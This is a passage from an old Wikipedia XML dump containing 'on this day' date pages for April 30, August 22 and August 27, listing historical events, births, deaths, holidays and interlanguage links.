*[[1908]] - [[Bjarni Benediktsson]], Icelandic foreign and later prime minister (d. [[1970]])
*[[1909]] - Queen [[Juliana of the Netherlands]]  (d. [[2004]])
*1909 - [[F. E. McWilliam]], Northern Irish sculptor (d. [[1992]])
*[[1910]] - [[Al Lewis]], American actor and politician (d. [[2006]])
*[[1916]] - [[Claude Shannon]], American engineer and mathematician (d. [[2001]])
*1916 - [[Robert Shaw (conductor)|Robert Shaw]], American conductor (d. [[1999]])
*[[1925]] - [[Johnny Horton]], American musician (d. [[1960]])
*[[1930]] - [[Lawton Chiles]], American politician (d. [[1998]])
*[[1933]] - [[Willie Nelson]], American musician, composer, and actor
*[[1938]] - [[Larry Niven]], American author
*[[1940]] - [[Burt Young]], American actor
*[[1941]] - [[Johnny Farina]], American guitarist ([[Santo and Johnny]])
*[[1943]] - [[Bobby Vee]], American singer
*[[1944]] - [[Jill Clayburgh]], American actress
*[[1945]] - [[Annie Dillard]], American writer
*1945 - [[Michael Smith (astronaut)|Michael Smith]], astronaut (d. [[1986]])
*[[1946]] - King [[Carl XVI Gustaf of Sweden|Carl XVI Gustaf of Sweden]]
*  1946   - [[Don Schollander]], American swimmer
*[[1947]] - [[Finn Kalvik]], Norwegian singer
*[[1948]] - [[Perry King]], American actor
*[[1949]] - [[Phil Garner]], baseball manager
*1949 - [[Antonio Guterres]], [[Prime Minister of Portugal]]
*[[1954]] - [[Jane Campion]], New Zealand film director
*[[1955]] - [[Nicolas Hulot]], French journalist and author
*[[1956]] - [[Jorge Chaminé]], Portuguese baritone 
*1956 - [[Lars von Trier]], Danish film director
*[[1959]] - [[Stephen Harper]], Prime Minister of Canada
*[[1961]] - [[Isiah Thomas]], American basketball player, coach, and team owner
*[[1964]] - [[Barrington Levy]], Jamaican musician
*[[1969]] - [[Paulo Jr.]], Brazilian bassist ([[Sepultura]])
*1969 - [[Clark Vogeler]], American guitarist ([[The Toadies]])
*[[1975]] - [[Elliott Sadler]], American race car driver
*[[1981]] - [[John O'Shea (footballer)|John O'Shea]], Irish footballer
*[[1982]] - [[Kirsten Dunst]], American actress, [[Justin Green]], National Football League fullback
*[[1983]] - [[Troy Williamson]], American football player
*[[1987]] - [[Nikki Webster]], Australian pop singer and entertainer

==Deaths==
*[[65]] - [[Lucan (poet)|Lucan]], Roman poet (b. [[39]])
*[[1063]] - [[Emperor Renzong (Song Dynasty)|Emperor Renzong]] of China (b. [[1010]])
*[[1341]] - [[John III, Duke of Brittany]] (b. [[1285]])
*[[1439]] - [[Richard de Beauchamp, 13th Earl of Warwick]], English military leader (b. [[1382]])
*[[1524]] - [[Pierre Terrail, seigneur de Bayard]], French soldier (b. [[1473]])
*[[1544]] - [[Thomas Audley, 1st Baron Audley of Walden]], [[Lord Chancellor|Lord Chancellor of England]]
*[[1555]] - [[Pope Marcellus II]] (b. [[1501]])
*[[1632]] - [[Johan Tzerclaes, Count of Tilly]], Bavarian general (b. [[1559]])
*[[1642]] - [[Dmitry Pozharsky]], Russian prince (b. [[1578]])
*[[1660]] - [[Petrus Scriverius]], Dutch writer (b. [[1576]])
*[[1655]] - [[Eustache Le Sueur]], French painter (b. [[1617]])
*[[1696]] - [[Robert Plot]], British naturalist (b. [[1640]])
*[[1712]] - [[Philipp van Limborch]], Dutch protestant theologian (b. [[1633]])
*[[1736]] - [[Johann Albert Fabricius]], German classical scholar and bibliographer (b. [[1668]])
*[[1758]] - [[François d'Agincourt]], French composer (b. [[1684]])
*[[1792]] - [[John Montagu]], Supposed inventor of the sandwich (b. [[1718]])
*[[1795]] - [[Jean-Jacques Barthélemy]], French writer and numismatist (b. [[1716]])
*[[1847]] - [[Archduke Charles]], Austrian general (b. [[1771]])
*[[1865]] - [[Robert Fitzroy]], English admiral and meteorologist (b. [[1805]])
*[[1875]] - [[Jean Frederic Waldeck]], French explorer, lithographer, and cartographer (b. [[1766]])
*[[1883]] - [[Édouard Manet]], French painter (b. [[1832]])
*[[1903]] - [[Emily Stowe]], Canadian physician and suffragist (b.[[1831]])
*[[1936]] - [[Alfred Edward Housman]], English poet (b. [[1859]])
*[[1943]] - [[Otto Jespersen]], Danish philologist (b. [[1860]])
*[[1945]] - [[Eva Braun]], [[Adolf Hitler]]'s new wife (suicide) (b. [[1912]])
*[[1945]] - [[Adolf Hitler]], Austrian dictator of Germany (suicide) (b. [[1889]])
*[[1956]] - [[Alben W. Barkley]], [[Vice President of the United States]] (b. [[1877]])
*[[1970]] - [[Inger Stevens]], Swedish actress (b. [[1934]])
*[[1974]] - [[Agnes Moorehead]], American actress (b. [[1900]])
*[[1980]] - [[Luis Muñoz Marín]], Puerto Rican poet, journalist, and politician (b. [[1898]])
*[[1982]] - [[Lester Bangs]], American music journalist, author, and musician (b. [[1949]])
*[[1983]] - [[George Balanchine]], Russian-born dancer and choreographer (b. [[1904]])
*[[1983]] - [[Muddy Waters]], American musician (b. [[1915]])
*[[1985]] - [[Charles Francis Richter]], American seismologist
*[[1989]] - [[Masako Nashimoto|Yi, Bang-ja]], Crown Princess of Korea (b. [[1901]])
*[[1989]] - [[Sergio Leone]], Italian filmmaker (b. [[1929]])
*[[1994]] - [[Roland Ratzenberger]], Austrian race car driver (b. [[1960]])
*[[1998]] - [[Nizar Qabbani]], Syrian poet (b. [[1926]])
*[[2002]] - [[Charlotte von Mahlsdorf]], founder of the [[Gründerzeit]] Museum in Berlin-Mahlsdorf. (b. [[1928]])
*[[2003]] - [[Peter 'Possum' Bourne]], New Zealand race car driver (B. [[1956]])
*[[2003]] - [[Wim van Est]], Dutch cyclist (b. [[1923]])
*[[2003]] - [[Mark Berger]], [[University of Kentucky]] Professor
*[[2005]] - [[Ron Todd]], [[TGWU]] General Secretary ([[1985]] - [[1992]]) (b. [[1927]])

==Holidays and observances==
*[[Scandinavia]] - The arrival of [[Spring (season)|spring]], [[Walpurgis Night]] 
*[[Sweden]] -  [[Birthday]] of King [[Carl XVI Gustav of Sweden|Carl XVI Gustav]], an [[Flag days in Sweden|official flag day]]
*The [[Netherlands]] - [[Queen's Day]]
*[[Roman Empire]] - third day of the [[Floralia]] in honor of [[Flora (goddess)|Flora]]
*[[Beltane|Bealtaine]] Eve (From either [[Irish language|Irish]] [[Beltane|Bealtaine]] or [[Scottish Gaelic language|Scottish Gaelic]]). Originally a [[Celt]]ic [[Druidry|Druid]] holiday
*[[Vietnam]] - [[Liberation Day]]
*[[Feast day]] of the following [[saint]]s in the [[Roman Catholic Church]]:
**[[Saint Maximus]], 3rd century martyr
**[[Saint Louis]], Amator, and Peter, martyred by the [[Moors]] in [[855]]
**[[Saint Marianus]] and James, martyrs in [[Numidia]] in [[259]]
**[[Suitbert the Younger]] (d. [[807]])
**[[Catherine of Siena]]
**[[Joseph Benedict Cottolengo]]
**[[Pius V]], [[pope]]
**[[Robert]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/30 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050430.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=30 On This Day in Canada]
----

[[March 30]] - [[March 31]] - [[April 29]] - [[May 1]] - [[May 30]] - [[May 31]]  &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 30]]
[[nap:30 'e abbrile]]
[[war:Abril 30]]
[[pam:Abril 30]]

[[af:30 April]]
[[ar:30 أبريل]]
[[an:30 d'abril]]
[[ast:30 d'abril]]
[[bg:30 април]]
[[be:30 красавіка]]
[[bs:30. april]]
[[ca:30 d'abril]]
[[cv:Ака, 30]]
[[co:30 d'aprile]]
[[cs:30. duben]]
[[cy:30 Ebrill]]
[[da:30. april]]
[[de:30. April]]
[[et:30. aprill]]
[[el:30 Απριλίου]]
[[es:30 de abril]]
[[eo:30-a de aprilo]]
[[eu:Apirilaren 30]]
[[fo:30. apríl]]
[[fr:30 avril]]
[[fy:30 april]]
[[ga:30 Aibreán]]
[[gl:30 de abril]]
[[ko:4월 30일]]
[[hr:30. travnja]]
[[io:30 di aprilo]]
[[id:30 April]]
[[ia:30 de april]]
[[ie:30 april]]
[[is:30. apríl]]
[[it:30 aprile]]
[[he:30 באפריל]]
[[jv:30 April]]
[[ka:30 აპრილი]]
[[csb:30 łżëkwiôta]]
[[ku:30'ê avrêlê]]
[[la:30 Aprilis]]
[[lt:Balandžio 30]]
[[lb:30. Abrëll]]
[[li:30 april]]
[[hu:Április 30]]
[[mk:30 април]]
[[ms:30 April]]
[[nl:30 april]]
[[ja:4月30日]]
[[no:30. april]]
[[nn:30. april]]
[[oc:30 d'abril]]
[[pl:30 kwietnia]]
[[pt:30 de Abril]]
[[ro:30 aprilie]]
[[ru:30 апреля]]
[[sco:30 Aprile]]
[[sq:30 Prill]]
[[scn:30 di aprili]]
[[simple:April 30]]
[[sk:30. apríl]]
[[sl:30. april]]
[[sr:30. април]]
[[fi:30. huhtikuuta]]
[[sv:30 april]]
[[tl:Abril 30]]
[[tt:30. Äpril]]
[[te:ఏప్రిల్ 30]]
[[th:30 เมษายน]]
[[vi:30 tháng 4]]
[[tr:30 Nisan]]
[[uk:30 квітня]]
[[ur:30 اپریل]]
[[wa:30 d' avri]]
[[zh:4月30日]]</text>
    </revision>
  </page>
  <page>
    <title>August 22</title>
    <id>1012</id>
    <revision>
      <id>42114981</id>
      <timestamp>2006-03-03T22:43:14Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=22}}
|}
'''[[August 22]]''' is the 234th [[day]] of the [[year]] in the [[Gregorian calendar|Gregorian Calendar]] (235th in [[leap year]]s), with 131 [[day]]s remaining.

==Events==
*[[1485]] - The [[Battle of Bosworth Field]] decisively ends the [[Wars of the Roses]]
*[[1559]] - Bartholome de Carranza, Spanish [[archbishop]], is arrested for [[heresy]]
*[[1642]] - [[Charles I of England|Charles I]] calls the English Parliament traitors. Beginning of the [[English Civil War]]
*[[1654]] - [[Jacob Barsimson]] arrives in [[New Amsterdam]]. He is the first [[Judaism|Jewish]] [[Immigration|immigrant]] to what is later the [[United States]]
*[[1717]] - Spanish troops land on [[Sardinia]]
*[[1770]] - [[James Cook]]'s expedition lands on the east coast of [[Australia]]
*[[1775]] - [[George III of the United Kingdom|King George III]] declares the [[Thirteen Colonies|American colonies]] to be in open rebellion
*[[1780]] - James Cook's ship ''Resolution'' returns to [[England]] (Cook having been killed on [[Hawaii]] during the voyage)
*[[1791]] - Beginning of the [[Haiti]]an [[Haitian Revolution|Slave Revolution]] in [[Saint-Domingue]]
*[[1798]] - French troops land in [[County Mayo]], Ireland to aid [[Theobald Wolfe Tone|Wolfe Tone]]'s [[Society of the United Irishmen|United Irishmen]]'s [[Irish Rebellion of 1798 |Irish Rebellion]]
*[[1846]] - [[United States|The United States]] annexes [[New Mexico]]
*[[1851]] - [[Gold]] is discovered in [[Australia]]
*1851 - The first [[America's Cup]] is won by the [[yacht]] ''[[America (yacht)|America]]''.
*[[1875]] - The [[Treaty of Saint Petersburg]] between [[Japan]] and [[Russia]] is ratified, providing for the exchange of [[Sakhalin]] for the [[Kuril Islands]].
*[[1864]] - Twelve [[nation]]s sign the First [[Geneva Conventions|Geneva Convention]]. The [[International Red Cross and Red Crescent Movement|Red Cross]] is formed.
*[[1901]] - [[Cadillac|Cadillac]] Motor Company founded
*[[1902]] - [[Theodore Roosevelt]] became the first [[President of the United States]] to ride in an automobile
*[[1910]] - [[Japan]] annexes [[Korea]] with the signing of the [[Japan-Korea Annexation Treaty]]. The name Korea was abolished and replaced with the ancient name ''[[Joseon]]''.
*[[1911]] - Theft of the ''[[Mona Lisa]]'' is discovered
*[[1914]] - [[World War I]]: In [[Belgium]], British and German troops clash for the first time in the war.
*[[1922]] - [[Michael Collins (Irish leader)|Michael Collins]], Commander-in-Chief of the [[Irish Free State]] Army is shot dead during an Anti-Treaty ambush at Beal na mBlath, County Cork, during the [[Irish Civil War]].
*[[1926]] - [[Gold]] discovered in [[Johannesburg]], [[South Africa]]
*[[1941]] - [[World War II]]: German [[troop]]s reach [[Saint Petersburg|Leningrad]], leading to the [[siege of Leningrad]]
*[[1942]] - World War II: [[Brazil]] declares [[war]] on the Axis powers ([[Germany]], [[Italy]] and [[Japan]])
*[[1944]] - World War II: Last transport of French Jews to [[concentration camp]]s in Germany
*1944 - World War II: Thirty-two Spaniards &amp; four French [[Maquis (World War II)|Maquis]] tackle a German column (1,300 men in 60 lorries, with 6 tanks &amp; 2 self-propelled guns), at La Madeiline, France. Three Maquis are wounded, with 110 Germans killed and 200 wounded.
*[[1950]] - [[Althea Gibson]] becomes the first black [[Competition|competitor]] in international [[tennis]]
*[[1953]] - The [[Prison|jail]] on [[Devils Island|Devil's Island]] is closed
*[[1962]] - An attempt to assassinate French president [[Charles de Gaulle|Charles De Gaulle]] fails
*1962 - The [[NS Savannah|NS ''Savannah'']], the world's first [[Nuclear marine propulsion|nuclear-powered]] ship, completes its [[maiden voyage]]
*[[1968]] - [[Pope Paul VI]] arrives in [[Bogotá]], [[Colombia]]. It is the first visit of a [[pope]] to [[Latin America]]
*[[1972]] - [[Rhodesia]] is expelled by the [[International Olympic Committee|IOC]] for its racist policies
*[[1988]] - The Australian ''koala'', the first [[platinum]] coin, is issued
*[[1989]] - The first ring of [[Neptune|Neptune]] is discovered
* 1989 - [[Nolan Ryan]] strikes out [[Rickey Henderson]] to become the first [[Major League Baseball|major league baseball]] [[pitcher]] to record 5000 [[strikeout]]s.
*[[1992]] - [[Federal Bureau of Investigation|FBI]] [[Hostage Rescue Team|HRT]] sniper [[Lon Horiuchi]] shoots and kills Vicki Weaver during an 11-day siege at her home at [[Ruby Ridge]], [[Idaho]].
*[[2001]] -  the [[Trojan room coffee pot]] is switched off for the last time.
*[[2004]] - ''[[The Scream]]'', the painting by [[Edvard Munch]], is stolen at gunpoint from a museum in [[Oslo]], [[Norway]].



==Births==
*[[1601]] - [[Georges de Scudéry]], French writer (d. [[1667]])
*[[1624]] - [[Jean Renaud de Segrais]], French writer (d. [[1701]])
*[[1647]] - [[Denis Papin]], French physicist, mathematician, and inventor
*[[1679]] - [[Pierre Guérin de Tencin]], French cardinal (d. [[1758]])
*[[1760]] - [[Pope Leo XII]] (d. [[1829]])
*[[1764]] - [[Charles Percier]], French architect (d. [[1838]])
*[[1771]] - [[Henry Maudslay]], English inventor and tool-maker (d. [[1831]])
*[[1800]] - [[William S. Harney]], U.S. general (d. [[1889]])
*[[1802]] - [[Gurdon Saltonstall Hubbard]], American land speculator (d. [[1886]])
*[[1834]] - [[Samuel Pierpont Langley]], American astronomer, physicist, inventor, aviation pioneer (d. [[1906]])
*[[1854]] - King [[Milan Obrenović IV|Milan I of Serbia]] (d. [[1901]])
*[[1860]] - [[Paul Gottlieb Nipkow|Paul Nipkow]], German inventor and television pioneer (d. [[1940]])
*[[1862]] - [[Claude Debussy]], French composer (d. [[1918]])
*[[1867]] - [[Maximilian Bircher-Benner]], Swiss physician and nutritionist (d. [[1939]])
*[[1873]] - [[Alexander Bogdanov]], Russian physician and philosopher (d. [[1928]])
*[[1874]] - [[Max Scheler]], German philosopher (d. [[1928]])
*[[1880]] - [[George Herriman]], American cartoonist (d. [[1944]])
*[[1893]] - [[Dorothy Parker]], American writer (d. [[1967]])
*[[1900]] - [[Sergei Ozhegov]], Russian lexicographer (d. [[1964]])
*[[1902]] - [[Leni Riefenstahl]], German film director (d. [[2003]])
*[[1904]] - [[Deng Xiaoping]], leader of the People's Republic of China (d. [[1997]])
*[[1908]] - [[Henri Cartier-Bresson]], French photographer (d. [[2004]])
*[[1915]] - [[Hugh Paddick]], British actor (d. [[2000]])
*1915 - [[Edward Szczepanik]], Polish economist and Prime Minister in exile (d. [[2005]])
*[[1917]] - [[John Lee Hooker]],  American guitarist and singer (d. [[2001]])
*[[1920]] - [[Ray Bradbury]], American writer
*1920 - [[Denton Cooley]], American heart surgeon
*[[1928]] - [[Karlheinz Stockhausen]], German composer
*[[1930]] - [[Gilmar]], Brazilian football player
*[[1934]] - [[Norman Schwarzkopf, Jr.|Norman Schwarzkopf]], U.S. general
*[[1935]] - [[E. Annie Proulx]], American author
*[[1938]] - [[Paul Maguire]], American football player
*[[1939]] - [[George Reinholt]], American actor
*1939 - [[Carl Yastrzemski]], baseball player
*[[1940]] - [[Valerie Harper]], American actress
*[[1941]] - [[Bill Parcells]], American football coach
*[[1942]] - [[The Lennon Sisters|Kathy Lennon]], American singer ([[The Lennon Sisters]])
*[[1945]] - [[Ron Dante]], American singer ([[The Archies]]), songwriter and record producer
*[[1947]] - [[Cindy Williams]], American actress
*[[1955]] - [[Will Shetterly]], writer
*1955 - [[Chiranjeevi]], Telugu film actor
*[[1956]] - [[Paul Molitor]], baseball player
*[[1957]] - [[Steve Davis]], English snooker player
*[[1958]] - [[Colm Feore]], American-born actor
*1958 - [[Vernon Reid]], American musician ([[Living Colour]])
*[[1961]] - [[Roland Orzabal]], singer and guitarist ([[Tears for Fears]])
*[[1963]] - [[Tori Amos]], American singer, songwriter, and pianist
*[[1964]] - [[Mats Wilander]], Swedish tennis player
*[[1966]] - [[GZA]], American rapper
*[[1967]] - [[Layne Staley]], American musician ([[Alice in Chains]]) (d. [[2002]])
*1967 - [[Adewale Akinnuoye-Agbaje]], British actor
*[[1970]] - [[Charlie Connelly]], English writer
*[[1973]] - [[Howie Dorough]], American singer ([[Backstreet Boys]])
*[[1977]] - [[Heiðar Helguson|Heidar Helguson]], Icelandic footballer
*[[1978]] - [[Jeff Stinco]], Canadian musician ([[Simple Plan]])
*[[1981]] - [[Alex Holmes]], American football player

==Deaths==
*[[408]] - [[Stilicho]], Roman general (b. [[359]])
*[[1155]] - [[Emperor Konoe]] of Japan (b. [[1139]])
*[[1188]] - King [[Ferdinand II of Leon]]
*[[1241]] - [[Pope Gregory IX]]
*[[1280]] - [[Pope Nicholas III]]
*[[1286]] - [[Eric V of Denmark|Erik V Klipping]], King of Denmark (murdered) (b. [[1249]])
*[[1304]] - [[John II, Count of Hainaut]] (b. [[1247]])
*[[1350]] - King [[Philip VI of France]] (b. [[1293]])
*[[1485]] - King [[Richard III of England]] (killed in battle) (b. [[1452]])
*[[1553]] - [[John Dudley, 1st Duke of Northumberland|John Dudley]], English admiral and politician (beheaded) (b. [[1501]])
*[[1584]] - [[Jan Kochanowski]], Polish writer (b. [[1530]])
*[[1599]] - [[Beatrice Cenci]], Italian noblewoman who conspired to murder her father (b. [[1577]])
*1599 - [[Luca Marenzio]], Italian composer
*[[1607]] - [[Bartholomew Gosnold]], English explorer and privateer (b. [[1572]])
*[[1609]] - [[Judah Loew ben Bezalel|Maharal of Prague]], Jewish mystic and philosopher (b. [[1525]])
*[[1652]] - [[Jacob De la Gardie]], Swedish soldier and statesman (b. [[1583]])
*[[1680]] - [[John George II, Elector of Saxony]] (b. [[1613]])
*[[1701]] - [[John Granville, 1st Earl of Bath]], English royalist statesman (b. [[1628]])
*[[1711]] - [[Louis François, duc de Boufflers]], French marshal (b. [[1644]])
*[[1752]] - [[William Whiston]], English mathematician (b. [[1667]])
*[[1793]] - [[Louis, 4th duc de Noailles]], Marshal of France (b. [[1713]])
*[[1797]] - [[Dagobert Sigmund von Wurmser]], Alsatian-born Austrian general (b. [[1724]])
*[[1806]] - [[Jean-Honoré Fragonard]], French artist (b. [[1732]])
*[[1818]] - [[Warren Hastings]], British Governor-General of India (b. [[1732]])
*[[1823]] - [[Lazare Carnot]], French general, politician, and mathematician (b. [[1753]])
*[[1828]] - [[Franz Joseph Gall]], Austrian neuroscientist (b. [[1758]])
*[[1850]] - [[Nikolaus Lenau]], Austrian poet (b. [[1802]])
*[[1861]] - [[Xianfeng Emperor|Xianfeng]], [[Emperor of China]] (b. [[1831]])
*[[1891]] - [[Jan Neruda]], Czech author (b. [[1834]])
*[[1903]] - [[Robert Gascoyne-Cecil, 3rd Marquess of Salisbury]], [[Prime Minister of the United Kingdom]] (b. [[1830]])
*[[1904]] - [[Kate Chopin]], American author (b. [[1851]])
*[[1913]] - [[Bruno Pontecorvo]], Italian physicist (d. [[1993]])
*[[1918]] - [[Korbinian Brodmann]], German neurologist (b. [[1868]])
*[[1922]] - [[Michael Collins (Irish leader)|Michael Collins]], Irish revolutionary (ambushed) (b. [[1890]])
*[[1926]] - [[Charles_William_Eliot|Charles W. Eliot]], American President of Harvard University (b. [[1834]])
*[[1942]] - [[Michel Fokine]], Russian choreographer and dancer (b. [[1880]])
*[[1953]] - [[Jim Tabor]], baseball player (b. [[1916]])
*[[1958]] - [[Roger Martin du Gard]], French writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1881]])
*[[1976]] - [[Juscelino Kubitschek de Oliveira]], President of Brazil (b. [[1902]])
*[[1977]] - [[Sebastian Cabot (actor)|Sebastian Cabot]], English-born actor (b. [[1918]])
*[[1978]] - [[Jomo Kenyatta]], first Prime Minister of Kenya
*[[1989]] - [[Huey P. Newton]], American activist (b. [[1942]])
*[[1991]] - [[Colleen Dewhurst]], Canadian actress (b. [[1924]])
*[[2003]] - [[Arnold Gerschwiler]], Swiss-born figure skating trainer (b. [[1914]])
*[[2004]] - [[Konstantin Aseev]], Russian chess player (b. [[1960]])
*[[2005]] - [[Luc Ferrari]], French composer (b. [[1929]])

==Holidays and observances==
*[[Calendar_of_saints|RC feasts]] - Mary queen of angels

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/22 BBC: On This Day]

----
[[August 21]] - [[August 23]] - [[July 22]] - [[September 22]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ilo:Agosto 22]]

[[af:22 Augustus]]
[[ar:22 أغسطس]]
[[an:22 d'agosto]]
[[ast:22 d'agostu]]
[[bg:22 август]]
[[be:22 жніўня]]
[[bs:22. august]]
[[ca:22 d'agost]]
[[ceb:Agosto 22]]
[[cv:Çурла, 22]]
[[co:22 d'aostu]]
[[cs:22. srpen]]
[[cy:22 Awst]]
[[da:22. august]]
[[de:22. August]]
[[et:22. august]]
[[el:22 Αυγούστου]]
[[es:22 de agosto]]
[[eo:22-a de aŭgusto]]
[[eu:Abuztuaren 22]]
[[fo:22. august]]
[[fr:22 août]]
[[fy:22 augustus]]
[[ga:22 Lúnasa]]
[[gl:22 de agosto]]
[[ko:8월 22일]]
[[hr:22. kolovoza]]
[[io:22 di agosto]]
[[id:22 Agustus]]
[[ia:22 de augusto]]
[[ie:22 august]]
[[is:22. ágúst]]
[[it:22 agosto]]
[[he:22 באוגוסט]]
[[jv:22 Agustus]]
[[ka:22 აგვისტო]]
[[csb:22 zélnika]]
[[ku:22'ê gelawêjê]]
[[la:22 Augusti]]
[[lt:Rugpjūčio 22]]
[[lb:22. August]]
[[li:22 augustus]]
[[hu:Augusztus 22]]
[[mk:22 август]]
[[ms:22 Ogos]]
[[nap:22 'e aùsto]]
[[nl:22 augustus]]
[[ja:8月22日]]
[[no:22. august]]
[[nn:22. august]]
[[oc:22 d'agost]]
[[pl:22 sierpnia]]
[[pt:22 de Agosto]]
[[ro:22 august]]
[[ru:22 августа]]
[[sco:22 August]]
[[sq:22 Gusht]]
[[scn:22 di austu]]
[[simple:August 22]]
[[sk:22. august]]
[[sl:22. avgust]]
[[sr:22. август]]
[[fi:22. elokuuta]]
[[sv:22 augusti]]
[[tl:Agosto 22]]
[[tt:22. August]]
[[te:ఆగష్టు 22]]
[[th:22 สิงหาคม]]
[[vi:22 tháng 8]]
[[tr:22 Ağustos]]
[[uk:22 серпня]]
[[wa:22 d' awousse]]
[[war:Agosto 22]]
[[zh:8月22日]]
[[pam:Agostu 22]]</text>
    </revision>
  </page>
  <page>
    <title>August 27</title>
    <id>1013</id>
    <revision>
      <id>42122286</id>
      <timestamp>2006-03-03T23:40:10Z</timestamp>
      <contributor>
        <username>Joy Stovall</username>
        <id>69412</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.132.56.20|84.132.56.20]] ([[User talk:84.132.56.20|talk]]) to last version by 64.132.59.83</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=27}}
|}
'''[[August 27]]''' is the 239th day of the year in the [[Gregorian Calendar]] (240th in [[leap year]]s), with 126 days remaining.

==Events==
*[[479 BC]] - [[Greco-Persian Wars]]: [[Persian Empire|Persian]] forces led by [[Mardonius]] are routed by [[Pausanias (general)|Pausanias]], the [[Sparta]]n commander of the Greek army in the [[Battle of Plataea]]. Along the with the Greek victory on the same day in the [[Battle of Mycale]], the Persian invasion of [[Ancient Greece|Greece]] ended.
*[[55 BC]] - [[Julius Caesar]] lands in [[Great Britain|Britain]] for the first time.
*[[410]] - [[Visigoth]] sack of [[Ancient Rome|Rome]] ends after three days.
*[[1232]] - The [[Goseibai Shikimoku|Formulary of Adjudications]] is promulgated by [[Shikken|Regent]] [[Hojo Yasutoki]]. (Traditional [[Japanese calendar|Japanese date]]: August 10, 1232)
*[[1776]] - [[Battle of Long Island]], in present day [[Brooklyn, New York]], [[Kingdom of Great Britain|British]] forces under General [[William Howe, 5th Viscount Howe|William Howe]] defeat Americans under General [[George Washington]]
*[[1813]] - [[Napoleon]] defeats the [[Austria]]ns, [[Russia]]ns and [[Prussia]]ns at the [[Battle of Dresden]]
*[[1828]] - The Russians defeat the Turks at Akhaltzikke.
*[[1859]] - [[Petroleum]] discovered in [[Titusville, Pennsylvania]].  World's first successful [[oil well]].
*[[1861]] - Union forces attack [[Cape Hatteras]], [[North Carolina]]
*[[1883]] - [[Krakatoa]], an [[Indonesia]]n volcano, erupts. It is one of the most violent volcanic events in modern times.
*[[1896]] - [[Anglo-Zanzibar War]]: the shortest [[war]] in world history (9:02 to 9:40) between the [[United Kingdom]] and [[Zanzibar]].
*[[1900]] - British defeat [[Boer]] commandos at [[Bergendal]]
*[[1928]] - [[Kellogg-Briand Pact]], outlawing war, signed by sixty nations
*[[1937]] - The automobile division of Toyoda Automatic Loom Works is spun off into the [[Toyota Motor Corporation]].
*[[1939]] - First [[jet aircraft]] flight
*[[1952]] - Reparation negotiations between [[West Germany]] and [[Israel]] end in [[Luxembourg]]; West Germany to pay 3 billion [[Deutschmark]]s.
*[[1962]] - [[Mariner 2]] launched
*[[1969]] - The first installment of the [[Otoko wa tsurai yo|''Otoko wa Tsurai yo'']] (''It's Tough Being a Man'') movies is released in [[Japan]]. Director and screenplay writer [[Yoji Yamada]] went on to make 48 installments of the series, which is recognized in the [[Guinness Book of World Records]] as the longest running movie series.
*[[1979]] - An [[Provisional Irish Republican Army|IRA]] bomb kills [[Louis Mountbatten|Lord Mountbatten]] and 3 others on holiday in [[Sligo]], [[Republic of Ireland]].  Another near [[Warrenpoint]], [[Northern Ireland]] kills 18 [[British Army|British soldiers]].
*[[1985]] - The [[Nigeria]]n government is peacefully overthrown by Army Chief of Staff Maj. Gen. [[Ibrahim Babangida]].
*[[1990]] - The [[British Broadcasting Corporation]] launches [[BBC Radio Five Live]] at 9am GMT with a mixture of sports, news, and children's programming.  The station broadcasts for eighteen hours per day.
*[[1991]] - The [[European Community]] recognizes the independence of the [[Baltic state]]s: [[Estonia]], [[Latvia]] and [[Lithuania]].
*1991 - [[Moldova]] declares independence from the [[Soviet Union|USSR]].
*[[1993]] - The [[Florida]] DOT decides to cease producing its distinctive colored [[U.S. Highway shield|U.S. Highway shields]] so that it can make use of Federal funds for those signs.
*1993 - The [[Rainbow Bridge (Tokyo)|Rainbow Bridge]], connecting [[Tokyo|Tokyo's]] [[Shibaura]] and the island of [[Odaiba]], is completed.
*[[2000]] - [[Ostankino Tower]] in [[Moscow]] catches fire, three people are killed.
*[[2003]] - [[Mars (planet)|Mars]] makes its closest approach to [[Earth]] in nearly 60,000 years, passing approximately 34,646,416 miles (55,758,006 kilometers) from Earth.

==Births==
*[[1407]] - [[Ashikaga Yoshikazu]], Japanese shogun (d. [[1425]])
*[[1471]] - [[George, Duke of Saxony]] (d. [[1539]])
*[[1637]] - [[Charles Calvert, 3rd Baron Baltimore]], Governor of the Province of Maryland (d. [[1715]])
*[[1665]] - [[John Hervey, 1st Earl of Bristol]], English politician (d. [[1751]])
*[[1677]] - [[Otto Ferdinand Graf von Abensperg und Traun]], Austrian field marshal (d. [[1748]])
*[[1724]] - [[John Joachim Zubly]], Swiss-born Continental Congressman (d. [[1781]])
*[[1730]] - [[Johann Georg Hamann]], German philosopher (d. [[1788]])
*[[1770]] - [[Georg Wilhelm Friedrich Hegel]], German philosopher (d. [[1831]])
*[[1809]] - [[Hannibal Hamlin]], [[Vice President of the United States of America]] (d. [[1891]])
*[[1858]] - [[Giuseppe Peano]], Italian mathematician (d. [[1932]])
*[[1865]] - [[James Henry Breasted]], American Egyptologist (d. [[1935]])
*1865 - [[Charles G. Dawes]], 30th [[Vice President of the United States]], recipient of the [[Nobel Peace Prize]] (d. [[1951]])
*[[1870]] - [[Amado Nervo]], Mexican poet (d. [[1919]])
*[[1871]] - [[Theodore Dreiser]], American author (d. [[1945]])
*[[1874]] - [[Carl Bosch]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1940]])
*[[1875]] - [[Katharine McCormick]], American women's rights activist (d. [[1967]])
*[[1886]] - [[Rebecca Clarke]], English composer and violist (d. [[1979]])
*1886 - [[Eric Coates]], English composer (d. [[1957]])
*[[1890]] - [[Man Ray]], photographer and artist (d. [[1976]])
*[[1899]] - [[C.S. Forester]], British author (d. [[1966]])
*1899 - [[Byron Foulger]], American character actor  (d. [[1970]])
*[[1904]] - [[Norah Lofts]], British author (d. [[1983]])
